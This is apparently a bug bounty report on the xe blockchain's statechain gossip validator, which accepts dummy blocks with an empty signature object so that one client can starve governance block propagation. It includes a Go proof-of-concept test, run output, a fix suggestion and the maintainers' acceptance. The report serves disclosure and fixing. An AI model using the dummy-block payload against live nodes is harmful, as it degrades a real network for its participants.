net: statechain gossip validator accepts any 64 hex hash with a non-empty signature list; one client can starve governance propagation (High)
Report
Summary
The gossipsub validator for the statechain topic checks only that the block hash is 64 hex characters and that the Signatures slice is non-empty. A dummy block with Signatures set to a list containing one empty object passes validation and is forwarded mesh wide. The subscriber channel is 16 deep and drops on overflow, so an attacker holding validation acceptance can keep every node's statechain channel full and real DAO blocks hit the drop path.
Affected component
net/gossip_validate.go, stateChainValidator at lines 123 to 140, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. Subscribe channel of 16 with drop-on-full at net/gossip.go lines 333 to 364. The signature and hash checks that matter run later in statechain.Chain.AddBlock (chain.go lines 110 and 190 to 196), so this is propagation starvation, not an unsigned commit.
Impact
One client, matching the public genesis network id, can publish dummy statechain blocks up to the gossip message size limit and starve real governance block propagation on every node in the mesh. Dummy bodies are still rejected at AddBlock, so no forged state change lands. No PoW gate exists on this topic, unlike the block topic.
Suggested severity: High (degradation one client can cause). Confirmed by read-only source review.
PoC
Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at net/poc_f6_test.go (it joins the package's own test build), then:
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F6 ./net
Test file (net/poc_f6_test.go):
package net
import (
"context"
"encoding/json"
"fmt"
"os"
"testing"
pubsub "github.com/libp2p/go-libp2p-pubsub"
pb "github.com/libp2p/go-libp2p-pubsub/pb"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/xeprotocol/xe/statechain"
)
// TestPoC_F6 calls stateChainValidator on a dummy body: 64 hex chars and a
// non-empty Signatures slice, no hash or DAO/oracle signature check.
func TestPoC_F6(t *testing.T) {
pass, detail := runF6()
if pass {
fmt.Println("PASS: F6 state-chain gossip accepts a dummy hash+Signatures=[{}] body")
fmt.Println(detail)
return
}
fmt.Println("FAIL: F6 expected ValidationAccept for an unsigned dummy state-chain block")
fmt.Println(detail)
os.Exit(0)
}
func runF6() (bool, string) {
v := stateChainValidator()
dummy := &statechain.Block{
Hash: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
Signatures: []statechain.BlockSignature{{}},
}
data, err := json.Marshal(StateChainMsg{Block: dummy})
if err != nil {
return false, "marshal: " + err.Error()
}
got := v(context.Background(), peer.ID(""), &pubsub.Message{Message: &pb.Message{Data: data}})
emptySig := &statechain.Block{
Hash: dummy.Hash,
}
emptyData, _ := json.Marshal(StateChainMsg{Block: emptySig})
rejectEmpty := v(context.Background(), peer.ID(""), &pubsub.Message{Message: &pb.Message{Data: emptyData}})
detail := fmt.Sprintf(
"dummy json=%s
"+
"stateChainValidator dummy Signatures=[{}] result=%v (ValidationAccept=%v)
"+
"control empty Signatures result=%v (ValidationReject=%v)",
string(data), got, pubsub.ValidationAccept, rejectEmpty, pubsub.ValidationReject,
)
ok := got == pubsub.ValidationAccept && rejectEmpty == pubsub.ValidationReject
return ok, detail
}
Fix suggestion
Move the full hash and DAO or oracle multisig verification into the gossip validator (it is cheap), or at minimum check the hash binding and first signature before returning ValidationAccept.
Run (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):
=== RUN TestPoC_F6
PASS: F6 state-chain gossip accepts a dummy hash+Signatures=[{}] body
dummy json={"block":{"index":0,"prev_hash":"","ops":null,"signatures":[{"public_key":"","signature":""}],"hash":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","timestamp":0}}
stateChainValidator dummy Signatures=[{}] result=0 (ValidationAccept=0)
control empty Signatures result=1 (ValidationReject=1)
--- PASS: TestPoC_F6 (0.00s)
PASS
ok github.com/xeprotocol/xe/net 0.016s
Thread
Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is updated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0031.